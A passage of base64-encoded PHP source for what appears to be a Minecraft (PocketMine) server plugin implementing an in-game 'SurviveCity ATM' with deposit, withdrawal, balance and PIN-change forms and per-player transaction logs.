bWUsJG1hYmxhZ2hiYXJnYXNodCk7CgkJCQkJCQkkcGxheWVyLT5zZW5kTWVzc2FnZSgiU2hvbWEgU2FnaGYgSGVzYWIgcmEgcmFkIEthcmRlaCBlZWQgLiBtYWJsYWdoICRtYWJsYWdoYmFyZ2FzaHQgYXogaGVzYWIgYmFua2kgc2hvbWEga2FtIHNob2QgdmEgYmUga2hvZGV0YW4gdmFyaXogc2hvZCAhIik7CgkJCQkJCQkKCQkJCQkJfQoJCQkJfWVsc2VpZigkcGxheWVyLT5oYXNQZXJtaXNzaW9uKCJiYW5rLm1hbW9vbGkiKSkgewoJCQkJCQlpZigkdGhpcy0+TW9qb2RpUGxheWVyKCRuYW1lKSA+IDUwMDAwMCkgewoJCQkJCQkJJG1hYmxhZ2hiYXJnYXNodCA9IHJvdW5kKCR0aGlzLT5Nb2pvZGlQbGF5ZXIoJG5hbWUpLTUwMDAwMCk7CgkJCQkJCQkkdGhpcy0+YmFyZGFzaHRQb29sKCRuYW1lLCRtYWJsYWdoYmFyZ2FzaHQpOwoJCQkJCQkJJHRoaXMtPmVjby0+YWRkTW9uZXkoJG5hbWUsJG1hYmxhZ2hiYXJnYXNodCk7CgkJCQkJCQkkcGxheWVyLT5zZW5kTWVzc2FnZSgiU2hvbWEgU2FnaGYgSGVzYWIgcmEgcmFkIEthcmRlaCBlZWQgLiBtYWJsYWdoICRtYWJsYWdoYmFyZ2FzaHQgYXogaGVzYWIgYmFua2kgc2hvbWEga2FtIHNob2QgdmEgYmUga2hvZGV0YW4gdmFyaXogc2hvZCAhIik7CgkJCQkJCQkKCQkJCQkJfQoJCQkJfQoJCQkJfQoJCQl9Cgl9CgkKCXB1YmxpYyBmdW5jdGlvbiBSYW16RnJvbSgkc2VuZGVyKXsKICAgICAgICAkYXBpID0gJHRoaXMtPmdldFNlcnZlcigpLT5nZXRQbHVnaW5NYW5hZ2VyKCktPmdldFBsdWdpbigiRm9ybUFQSSIpOwogICAgICAgICRmb3JtID0gJGFwaS0+Y3JlYXRlQ3VzdG9tRm9ybShmdW5jdGlvbiAoUGxheWVyICRzZW5kZXIsICRkYXRhKXsKCQkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkkaGFuZCA9ICRpbnYtPmdldEl0ZW1JbkhhbmQoKTsKCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkkZGVwID0gJG5idC0+Z2V0U3RyaW5nKCJPd25lciIpOwoJCQkkcmVzdWx0ID0gJGRhdGFbMF07CgkJCSAgaWYoJHJlc3VsdCAhPSBudWxsKXsKCQkJCSAgICAgICAgICAgICAgJHJlc3VsdCA9ICRkYXRhWzBdOwogICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVzdWx0ID09ICR0aGlzLT5yYW16LT5nZXQoJGRlcCkpewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+bWFpbkZyb20oJHNlbmRlcik7CgkJCQkJCSR0aGlzLT5yYW16ZXNodGViYWgtPnNldCgkZGVwLDApOwoJCQkJCQkkdGhpcy0+cmFtemVzaHRlYmFoLT5zYXZlKCk7CgkJCQkJCSRkcmFmdCA9ICJSYW16IERvcm9zdCBWYXJlZCBTaG9kIHwgJHJlc3VsdCB8IFZhcmVkIEtvbmFuZGVoICIgLiAkc2VuZGVyLT5nZXROYW1lKCkgLiAiIEFzdCI7CgkJCQkJJHJlbGF5ID0gaW50dmFsKHRpbWUoKSk7CgkJCQkJJHRpbWUgPSBkYXRlKCdtLWQtWSBIOmk6cycsICRyZWxheSk7CgkJCQkgICAgJGxvZ3MgPSBuZXcgQ29uZmlnKCR0aGlzLT5nZXREYXRhRm9sZGVyKCkgLiAicGxheWVycy8iIC4gc3RydG9sb3dlcigkZGVwKSAuICIueW1sIiwgQ29uZmlnOjpZQU1MKTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2V0KCR0aW1lLCAkZHJhZnQpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zYXZlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH1lbHNlewoJCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiUGFzc3dvcmQgVmFyZWQgU2hvZGUgRXNodGViYWggQXN0Iik7CgkJCQkJCSR0aGlzLT5yYW16ZXNodGViYWgtPnNldCgkZGVwLCR0aGlzLT5yYW16ZXNodGViYWgtPmdldCgkZGVwKSArIDEpOwoJCQkJCQkkdGhpcy0+cmFtemVzaHRlYmFoLT5zYXZlKCk7CgkJCQkJJGRyYWZ0ID0gIlJhbXogRXNodGViYWggVmFyZWQgU2hvZCAhIHwgJHJlc3VsdCB8IFZhcmVkIEtvbmFuZGVoICIgLiAkc2VuZGVyLT5nZXROYW1lKCkgLiAiIEFzdCI7CgkJCQkJJHJlbGF5ID0gaW50dmFsKHRpbWUoKSk7CgkJCQkJJHRpbWUgPSBkYXRlKCdtLWQtWSBIOmk6cycsICRyZWxheSk7CgkJCQkgICAgJGxvZ3MgPSBuZXcgQ29uZmlnKCR0aGlzLT5nZXREYXRhRm9sZGVyKCkgLiAicGxheWVycy8iIC4gc3RydG9sb3dlcigkZGVwKSAuICIueW1sIiwgQ29uZmlnOjpZQU1MKTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2V0KCR0aW1lLCAkZHJhZnQpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zYXZlKCk7CgkJCQkJCX0KCQkJICB9ZWxzZXsKCQkJCSAgJHNlbmRlci0+c2VuZE1lc3NhZ2UoIkxvdGZhbiBSYW16IEtob2QgUmEgVmFyZWQgS29uaWQiKTsKCQkJICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgJGZvcm0tPnNldFRpdGxlKCLCp2VTdXJ2aXZlQ2l0eSBBVE0gID4gwqdswqc2UGFzc3dvcmQiKTsKICAgICAgICAkZm9ybS0+YWRkSW5wdXQoIlBhc3N3b3JkIEtob2QgUmEgVmFyZWQgS29uaWQiKTsKICAgICAgICAkZm9ybS0+c2VuZFRvUGxheWVyKCRzZW5kZXIpOwogICAgfQoJCglwdWJsaWMgZnVuY3Rpb24gbWFpbkZyb20oJHNlbmRlcil7CiAgICAgICAgJGFwaSA9ICR0aGlzLT5nZXRTZXJ2ZXIoKS0+Z2V0UGx1Z2luTWFuYWdlcigpLT5nZXRQbHVnaW4oIkZvcm1BUEkiKTsKCQkkcGxheWVyID0gc3RydG9sb3dlcigkc2VuZGVyLT5nZXROYW1lKCkpOwoJCSRhbGwgPSAkdGhpcy0+YmFuay0+Z2V0QWxsKCk7CgkJJG1vbmV5ID0gRWNvbm9teUFQSTo6Z2V0SW5zdGFuY2UoKS0+bXlNb25leSgkcGxheWVyKTsKICAgICAgICAkZm9ybSA9ICRhcGktPmNyZWF0ZVNpbXBsZUZvcm0oZnVuY3Rpb24gKFBsYXllciAkc2VuZGVyLCAkZGF0YSl7CgkJJHBsYXllcm5hbWUgPSAkc2VuZGVyLT5nZXROYW1lKCk7CiAgICAgICAgICAgICRyZXN1bHQgPSAkZGF0YTsKCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkkaGFuZCA9ICRpbnYtPmdldEl0ZW1JbkhhbmQoKTsKCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkkZGVwID0gJG5idC0+Z2V0U3RyaW5nKCJPd25lciIpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCA9PSBudWxsKSB7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc3dpdGNoICgkcmVzdWx0KSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOgogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDE6CgkJCQkJJHRoaXMtPnZhcml6RnJvbSgkc2VuZGVyKTsKCQkJCQkJYnJlYWs7CgkJCQkJY2FzZSAyOgoJCQkJCSR0aGlzLT5iYXJkYXNodEZyb20oJHNlbmRlcik7CgkJCQkJCWJyZWFrOwoJCQkJCWNhc2UgMzoKCQkJCQkkcGxheWVyID0gc3RydG9sb3dlcigkc2VuZGVyLT5nZXROYW1lKCkpOwoJCQkJICAgJG1vam9kaSA9ICR0aGlzLT5Nb2pvZGlQbGF5ZXIoJGRlcCk7CgkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIsKnZk1vam9kaSBIZXNhYiBTaG9tYcKnYSAkbW9qb2RpIMKnZiQgTWliYXNoYWQiKTsKCQkJCQkkZHJhZnQgPSAiTW9qb2RpIEdlcmVmdGUgU2hvZCB8ICRtb2pvZGkgJCB8IiAuICRzZW5kZXItPmdldE5hbWUoKTsKCQkJCQkkcmVsYXkgPSBpbnR2YWwodGltZSgpKTsKCQkJCQkkdGltZSA9IGRhdGUoJ20tZC1ZIEg6aTpzJywgJHJlbGF5KTsKCQkJCSAgICAkbG9ncyA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIgLiBzdHJ0b2xvd2VyKCRkZXApIC4gIi55bWwiLCBDb25maWc6OllBTUwpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zZXQoJHRpbWUsICRkcmFmdCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNhdmUoKTsKCQkJCQlyZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0OgoJCQkJCSR0aGlzLT5TZWVtb25leWRpZ2FyYW4oJHNlbmRlcik7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwoJCQkJCQljYXNlIDU6CgkJCQkJJHRoaXMtPlBhc3NjaGFuZ2VGcm9tKCRzZW5kZXIpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKCQkJCQkJCiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgICAgICAkZm9ybS0+c2V0VGl0bGUoIsKnYcKnbFN1cnZpdmXCp2bCp2xDaXR5IMKnZUFUTSIpOwogICAgICAgICRmb3JtLT5zZXRDb250ZW50KCLCp2VXZWxjb21lIFRvIMKnYcKnbFN1cnZpdmXCp2bCp2xDaXR5IMKnZUFUTcKncsKnZSBcbiBBbWFsaXlhdCBNb3JlZCBOYXphciBLaG9kIFJhIEVudGVraGFiIEtvbmlkXG7Cp2zCpzNAwqdiRWxlbWVudERldiB8IMKnM0DCp2JVbmljb2RlRXJyb3IiKTsKCQkkZm9ybS0+YWRkQnV0dG9uKCLCp2NFeGl0IHwgS2hvcm9qIiwgMCwgIiIpOwogICAgICAgICRmb3JtLT5hZGRCdXR0b24oIsKnOVZhcml6IEJlIEhlc2FiIiwgMSwgIiIpOwogICAgICAgICRmb3JtLT5hZGRCdXR0b24oIsKnOUJhcmRhc2h0IEF6IEhlc2FiIiwgMiwgIiIpOwoJCSRmb3JtLT5hZGRCdXR0b24oIsKnOURhcnlhZnQgTW9qb2RpIiwgMywgIiIpOwoJCSRmb3JtLT5hZGRCdXR0b24oIsKnOURhcnlhZnQgTW9qb2RpIERpZ2FyYW4iLCA0LCAiIik7CgkJJGZvcm0tPmFkZEJ1dHRvbigiwqdswqc5VGFnaGlyIFJhbXoiLCA1LCAiIik7CiAgICAgICAgJGZvcm0tPnNlbmRUb1BsYXllcigkc2VuZGVyKTsKICAgIH0KCQoJCiAgICBwdWJsaWMgZnVuY3Rpb24gdmFyaXpGcm9tKCRzZW5kZXIpewogICAgICAgICRhcGkgPSAkdGhpcy0+Z2V0U2VydmVyKCktPmdldFBsdWdpbk1hbmFnZXIoKS0+Z2V0UGx1Z2luKCJGb3JtQVBJIik7CgkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkkYWxsID0gJHRoaXMtPmJhbmstPmdldEFsbCgpOwoJCSRtb25leSA9IEVjb25vbXlBUEk6OmdldEluc3RhbmNlKCktPm15TW9uZXkoJHBsYXllcik7CiAgICAgICAgJGZvcm0gPSAkYXBpLT5jcmVhdGVDdXN0b21Gb3JtKGZ1bmN0aW9uIChQbGF5ZXIgJHNlbmRlciwgJGRhdGEpewogICAgICAgICAgICAkcmVzdWx0ID0gJGRhdGFbMF07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXN1bHQgIT0gbnVsbCl7CgkJCQkJCQkkcGxheWVyID0gc3RydG9sb3dlcigkc2VuZGVyLT5nZXROYW1lKCkpOwoJCQkJCQkJCgkJJGFsbCA9ICR0aGlzLT5iYW5rLT5nZXRBbGwoKTsKCQkkbW9uZXkgPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpLT5teU1vbmV5KCRwbGF5ZXIpOwoJCSRyZXN1bHQgPSAkZGF0YVswXTsKCQkJCQlpZigkcmVzdWx0ICE9IG51bGwpewoJCQkJCQlpZihpc19udW1lcmljKCRyZXN1bHQpKXsKCQkJCQkJCWlmKCRtb25leSA+PSAkcmVzdWx0KXsKCQkJCQkJCSRpbnYgPSAkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKTsKCQkJJGhhbmQgPSAkaW52LT5nZXRJdGVtSW5IYW5kKCk7CgkJCSRuYnQgPSAkaGFuZC0+Z2V0TmFtZWRUYWcoKTsKCQkJJGRlcCA9ICRuYnQtPmdldFN0cmluZygiT3duZXIiKTsKCQkJCQkJCSRyZXN1bHQgPSAkZGF0YVswXTsKCQkJCQkJCQkkdGhpcy0+dmFyaXpQb29sKCRkZXAsJHJlc3VsdCk7CgkJCQkJCQkJJHRoaXMtPmVjby0+cmVkdWNlTW9uZXkoJHBsYXllciwgJHJlc3VsdCk7CgkJCQkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIsKnZlNob21hwqdhICRyZXN1bHQgwqdmJCBCZSBIZXNhYiBCYW5raSBLaG9kIEVudGVnaGFsIERhZGlkICEiKTsKCQkJCQkJCQkkZHJhZnQgPSAiJHJlc3VsdCAkIEJlIEhlc2FiIFZhcml6IFNob2QgfCAkcmVzdWx0IHwiIC4gJHNlbmRlci0+Z2V0TmFtZSgpOwoJCQkJCSRyZWxheSA9IGludHZhbCh0aW1lKCkpOwoJCQkJCSR0aW1lID0gZGF0ZSgnbS1kLVkgSDppOnMnLCAkcmVsYXkpOwoJCQkJICAgICRsb2dzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMvIiAuIHN0cnRvbG93ZXIoJGRlcCkgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwoJCQkJCQkJCXJldHVybiB0cnVlOwoJCQkJCQkJfWVsc2V7CgkJCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdjTW9qb2RpIFNob21hIEthZmkgTmlzdCAhIik7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAkZm9ybS0+c2V0VGl0bGUoIsKnZVN1cnZpdmVDaXR5IEFUTSAgPiDCp2zCpzZWYXJpeiIpOwogICAgICAgICRmb3JtLT5hZGRJbnB1dCgiQ2hlIE1lZ2RhciBQb29sIE1pa2hhaGlkIEJlIEhlc2FiIEtob2QgVmFyaXoga29uaWQgPyIpOwogICAgICAgICRmb3JtLT5zZW5kVG9QbGF5ZXIoJHNlbmRlcik7CiAgICB9CgkKCXB1YmxpYyBmdW5jdGlvbiBQYXNzY2hhbmdlRnJvbSgkc2VuZGVyKXsKICAgICAgICAkYXBpID0gJHRoaXMtPmdldFNlcnZlcigpLT5nZXRQbHVnaW5NYW5hZ2VyKCktPmdldFBsdWdpbigiRm9ybUFQSSIpOwoJCSRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRzZW5kZXItPmdldE5hbWUoKSk7CgkJJGFsbCA9ICR0aGlzLT5iYW5rLT5nZXRBbGwoKTsKCQkkbW9uZXkgPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpLT5teU1vbmV5KCRwbGF5ZXIpOwogICAgICAgICRmb3JtID0gJGFwaS0+Y3JlYXRlQ3VzdG9tRm9ybShmdW5jdGlvbiAoUGxheWVyICRzZW5kZXIsICRkYXRhKXsKICAgICAgICAkcmVzdWx0ID0gJGRhdGFbMF07CiAgICAgICAgICAgIGlmKCRyZXN1bHQgIT0gbnVsbCl7CgkJCQkkcGxheWVyID0gc3RydG9sb3dlcigkc2VuZGVyLT5nZXROYW1lKCkpOwoJCQkJJG5ld3Bhc3N3b3Jkc2l6ZSA9IHN0cmxlbigkZGF0YVswXSk7CgkJCQkkYWxsID0gJHRoaXMtPmJhbmstPmdldEFsbCgpOwoJCQkJJG1vbmV5ID0gRWNvbm9teUFQSTo6Z2V0SW5zdGFuY2UoKS0+bXlNb25leSgkcGxheWVyKTsKCQkJaWYoaXNfbnVtZXJpYygkcmVzdWx0KSl7CgkJCQlpZigkbmV3cGFzc3dvcmRzaXplID09IDQpewoJCQkJCSRpbnYgPSAkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKTsKCQkJJGhhbmQgPSAkaW52LT5nZXRJdGVtSW5IYW5kKCk7CgkJCSRuYnQgPSAkaGFuZC0+Z2V0TmFtZWRUYWcoKTsKCQkJJGRlcCA9ICRuYnQtPmdldFN0cmluZygiT3duZXIiKTsKCQkJCQkkdGhpcy0+cmFtei0+c2V0KCRkZXAsJHJlc3VsdCk7CgkJCQkJJHRoaXMtPnJhbXotPnNhdmUoKTsKCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdlwqdsU2hvbWEgUmFteiBIZXNhYiBCYW5raSBLaG9kIFJhIEJhIE1vdmFmYWdoaXlhdCBUYWdoaXIgRGFkaWQgISBSYW16IEphZGlkIHNob21hIDogwqdhICRyZXN1bHQiKTsKCQkJCQkkZHJhZnQgPSAiUmFteiBCZSAkcmVzdWx0IFRhZ2hpciBLYXJkIHwgIiAuICRzZW5kZXItPmdldE5hbWUoKTsKCQkJCQkkcmVsYXkgPSBpbnR2YWwodGltZSgpKTsKCQkJCQkkdGltZSA9IGRhdGUoJ20tZC1ZIEg6aTpzJywgJHJlbGF5KTsKCQkJCSAgICAkbG9ncyA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIgLiBzdHJ0b2xvd2VyKCRkZXApIC4gIi55bWwiLCBDb25maWc6OllBTUwpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zZXQoJHRpbWUsICRkcmFmdCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNhdmUoKTsKCQkJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkJCX1lbHNlewoJCQkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2NQYXNzd29yZCBTaG9tYSBCYXlhZCA0IFJhZ2hhbWkgQmFzaGFkICEiKTsKCQkJCQkJCX0KICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2V7CgkJCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdjTG90ZmFuIEZhZ2hhdCBBeiBBZGFkIERhciBSYW16IEtob2QgRXN0ZWZhZGUgS29uaWQgISIpOwoJCQkJCQl9CgkJCX0KICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAkZm9ybS0+c2V0VGl0bGUoIsKnZVN1cnZpdmVDaXR5IEFUTSAgPiDCp2zCpzZDaGFuZ2UgUGFzc3dvcmQiKTsKICAgICAgICAkZm9ybS0+YWRkSW5wdXQoIlJhbXogSmFkaWQgS2hvZCBSYSBWYXJlZCBLb25pZCIpOwogICAgICAgICRmb3JtLT5zZW5kVG9QbGF5ZXIoJHNlbmRlcik7CiAgICB9CgkKCQoJcHVibGljIGZ1bmN0aW9uIFBhc3NjaGFuZ2VGcm9tTm9SYW16KCRzZW5kZXIpewogICAgICAgICRhcGkgPSAkdGhpcy0+Z2V0U2VydmVyKCktPmdldFBsdWdpbk1hbmFnZXIoKS0+Z2V0UGx1Z2luKCJGb3JtQVBJIik7CgkJJHBsYXllciA9IHN0cnRvbG93ZXIoJHNlbmRlci0+Z2V0TmFtZSgpKTsKCQkkYWxsID0gJHRoaXMtPmJhbmstPmdldEFsbCgpOwoJCSRtb25leSA9IEVjb25vbXlBUEk6OmdldEluc3RhbmNlKCktPm15TW9uZXkoJHBsYXllcik7CiAgICAgICAgJGZvcm0gPSAkYXBpLT5jcmVhdGVDdXN0b21Gb3JtKGZ1bmN0aW9uIChQbGF5ZXIgJHNlbmRlciwgJGRhdGEpewogICAgICAgICRyZXN1bHQgPSAkZGF0YVswXTsKICAgICAgICAgICAgaWYoJHJlc3VsdCAhPSBudWxsKXsKCQkJCSRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRzZW5kZXItPmdldE5hbWUoKSk7CgkJCQkkbmV3cGFzc3dvcmRzaXplID0gc3RybGVuKCRkYXRhWzBdKTsKCQkJCSRhbGwgPSAkdGhpcy0+YmFuay0+Z2V0QWxsKCk7CgkJCQkkbW9uZXkgPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpLT5teU1vbmV5KCRwbGF5ZXIpOwoJCQlpZihpc19udW1lcmljKCRyZXN1bHQpKXsKCQkJCWlmKCRuZXdwYXNzd29yZHNpemUgPT0gNCl7CgkJCQkJJGludiA9ICRzZW5kZXItPmdldEludmVudG9yeSgpOwoJCQkkaGFuZCA9ICRpbnYtPmdldEl0ZW1JbkhhbmQoKTsKCQkJJG5idCA9ICRoYW5kLT5nZXROYW1lZFRhZygpOwoJCQkJCSR0aGlzLT5yYW16LT5zZXQoJHBsYXllciwkcmVzdWx0KTsKCQkJCQkkdGhpcy0+cmFtei0+c2F2ZSgpOwoJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2XCp2xTaG9tYSBSYW16IEhlc2FiIEJhbmtpIEtob2QgUmEgQmEgTW92YWZhZ2hpeWF0IFRhZ2hpciBEYWRpZCAhIFJhbXogSmFkaWQgc2hvbWEgOiDCp2EgJHJlc3VsdCIpOwoJCQkJCSRkcmFmdCA9ICJSYW16IEJlICRyZXN1bHQgVGFnaGlyIEthcmQgfCBmb3JnZXQgUGFzcyB8ICAiIC4gJHNlbmRlci0+Z2V0TmFtZSgpOwoJCQkJCSRyZWxheSA9IGludHZhbCh0aW1lKCkpOwoJCQkJCSR0aW1lID0gZGF0ZSgnbS1kLVkgSDppOnMnLCAkcmVsYXkpOwoJCQkJICAgICRsb2dzID0gbmV3IENvbmZpZygkdGhpcy0+Z2V0RGF0YUZvbGRlcigpIC4gInBsYXllcnMvIiAuIHN0cnRvbG93ZXIoJHBsYXllcikgLiAiLnltbCIsIENvbmZpZzo6WUFNTCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNldCgkdGltZSwgJGRyYWZ0KTsKICAgICAgICAgICAgICAgICAgICAkbG9ncy0+c2F2ZSgpOwoJCQkJCQkJCXJldHVybiB0cnVlOwoJCQkJCQkJfWVsc2V7CgkJCQkJCQkJJHNlbmRlci0+c2VuZE1lc3NhZ2UoIsKnY1Bhc3N3b3JkIFNob21hIEJheWFkIDQgUmFnaGFtaSBCYXNoYWQgISIpOwoJCQkJCQkJfQogICAgICAgICAgICAgICAgICAgICAgICB9ZWxzZXsKCQkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2NMb3RmYW4gRmFnaGF0IEF6IEFkYWQgRGFyIFJhbXogS2hvZCBFc3RlZmFkZSBLb25pZCAhIik7CgkJCQkJCX0KCQkJfQogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICRmb3JtLT5zZXRUaXRsZSgiwqdlU3Vydml2ZUNpdHkgQVRNICA+IMKnbMKnNkNoYW5nZSBQYXNzd29yZCIpOwogICAgICAgICRmb3JtLT5hZGRJbnB1dCgiUmFteiBKYWRpZCBLaG9kIFJhIFZhcmVkIEtvbmlkIik7CiAgICAgICAgJGZvcm0tPnNlbmRUb1BsYXllcigkc2VuZGVyKTsKICAgIH0KCQoJCgkKCXB1YmxpYyBmdW5jdGlvbiBiYXJkYXNodEZyb20oJHNlbmRlcil7CgkJJGFwaSA9ICR0aGlzLT5nZXRTZXJ2ZXIoKS0+Z2V0UGx1Z2luTWFuYWdlcigpLT5nZXRQbHVnaW4oIkZvcm1BUEkiKTsKCQkkcGxheWVyID0gJHNlbmRlci0+Z2V0TmFtZSgpOwoJCSRhbGwgPSAkdGhpcy0+YmFuay0+Z2V0QWxsKCk7CgkJJG1vbmV5ID0gJHRoaXMtPmVjby0+bXlNb25leSgkcGxheWVyKTsKICAgICAgICAkZm9ybSA9ICRhcGktPmNyZWF0ZUN1c3RvbUZvcm0oZnVuY3Rpb24gKFBsYXllciAkc2VuZGVyLCAkZGF0YSl7CiAgICAgICAgICAgICRyZXN1bHQgPSAkZGF0YVswXTsKCQkJJGFsbCA9ICR0aGlzLT5iYW5rLT5nZXRBbGwoKTsKCQkJJHBsYXllciA9ICRzZW5kZXItPmdldE5hbWUoKTsKCQkkbW9uZXkgPSBFY29ub215QVBJOjpnZXRJbnN0YW5jZSgpLT5teU1vbmV5KCRwbGF5ZXIpOwoJCSRyZXN1bHQgPSAkZGF0YVswXTsKCQlpZigkcmVzdWx0ICE9IG51bGwpewoJCQlpZihpc19udW1lcmljKCRyZXN1bHQpKXsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHRoaXMtPk1vam9kaVBsYXllcigkcGxheWVyKSA+PSAkcmVzdWx0KXsKCQkJCQkJCSRwbGF5ZXIgPSBzdHJ0b2xvd2VyKCRzZW5kZXItPmdldE5hbWUoKSk7CgkJCQkJCQkkYWxsID0gJHRoaXMtPmJhbmstPmdldEFsbCgpOwoJCQkJCQkJJGFsbCA9ICR0aGlzLT5iYW5rLT5nZXRBbGwoKTsKCQkJCQkJCSRpbnYgPSAkc2VuZGVyLT5nZXRJbnZlbnRvcnkoKTsKCQkJJGhhbmQgPSAkaW52LT5nZXRJdGVtSW5IYW5kKCk7CgkJCSRuYnQgPSAkaGFuZC0+Z2V0TmFtZWRUYWcoKTsKCQkJJGRlcCA9ICRuYnQtPmdldFN0cmluZygiT3duZXIiKTsKCQkJCQkJCQkkdGhpcy0+YmFyZGFzaHRQb29sKCRkZXAsJHJlc3VsdCk7CgkJCQkJCQkJJHRoaXMtPmVjby0+YWRkTW9uZXkoJHBsYXllciwkcmVzdWx0KTsKCQkJCQkJCQkkcmVzdWx0ID0gKHN0cmluZykkcmVzdWx0OwoJCQkJCQkJCSRzZW5kZXItPnNlbmRNZXNzYWdlKCLCp2ZTaG9tYcKnYSAkcmVzdWx0IMKnZiQgQXogSGVzYWIgQmFua2kgS2hvZCBCYXJkYXNodCBLYXJkaWQiKTsKCQkJCQkKCQkJCQkkZHJhZnQgPSAiJHJlc3VsdCAkIEF6IEhlc2FiIEJhcmRhc2h0IFNob2QgfCAkcmVzdWx0IHwgIiAuICRzZW5kZXItPmdldE5hbWUoKTsKCQkJCQkkcmVsYXkgPSBpbnR2YWwodGltZSgpKTsKCQkJCQkkdGltZSA9IGRhdGUoJ20tZC1ZIEg6aTpzJywgJHJlbGF5KTsKCQkJCSAgICAkbG9ncyA9IG5ldyBDb25maWcoJHRoaXMtPmdldERhdGFGb2xkZXIoKSAuICJwbGF5ZXJzLyIgLiBzdHJ0b2xvd2VyKCRkZXApIC4gIi55bWwiLCBDb25maWc6OllBTUwpOwogICAgICAgICAgICAgICAgICAgICRsb2dzLT5zZXQoJHRpbWUsICRkcmFmdCk7CiAgICAgICAgICAgICAgICAgICAgJGxvZ3MtPnNhdmUoKTsKCQkJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkJfQoJCQkJCQkJfWVsc2V7CgkJCQkJCQkkc2VuZGVyLT5zZW5kTWVzc2FnZSgiwqdjTW9qb2RpIFNob21hIEthZmkgTmlzdCAhIik7CgkJCQkJCQl9CgkJfQogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICRmb3JtLT5zZXRUaXRsZSgiwqdlU3Vydml2ZUNpdHkgQVRNICA+IMKnbMKnNkJhcmRhc2h0Iik7CiAgICAgICAgJGZvcm0tPmFkZElucHV0KCJDaGUgTWVnZGFyIFBvb2wgTWlraGFoaWQgQXogSGVzYWIgS2hvZCBCYXJkYXNodCBLb25pZCA/Iik7CiAgICAgICAgJGZvcm0tPnNlbmRUb1BsYXllcigkc2VuZGVyKTsKICAgIH0KCQoJCgkKCXB1YmxpYyBmdW5jdGlvbiBTZWVtb25leWRpZ2FyYW4oJHNlbmRlcil7CgkJJHBsYXllciA9ICRzZW5kZXItPmdldE5hbWUoKTsKCQkkYWxsID0gJHRoaXMtPmJhbmstPmdldEFsbCgpOwoJCSRtb25leSA9ICR0aGlzLT5lY28tPm15TW9uZXkoJHBsYXllcik7CgkJJGFwaSA9ICR0aGlzLT5nZXRTZXJ2ZXIoKS0+Z2V0UGx1Z2luTWFuYWdlcigpLT5nZXRQbHVnaW4oIkZvcm1BUEkiKTsKICAgICAgICAkZm9ybSA9ICRhcGktPmNyZWF0ZUN1c3RvbUZvcm0oZnVuY3Rpb24gKFBsYXllciAkc2VuZGVyLCAkZGF0YSl7CiAgICAgICAgICAgICRyZXN1bHQgPSAkZGF0YVswXTsKCQkJJHBsYX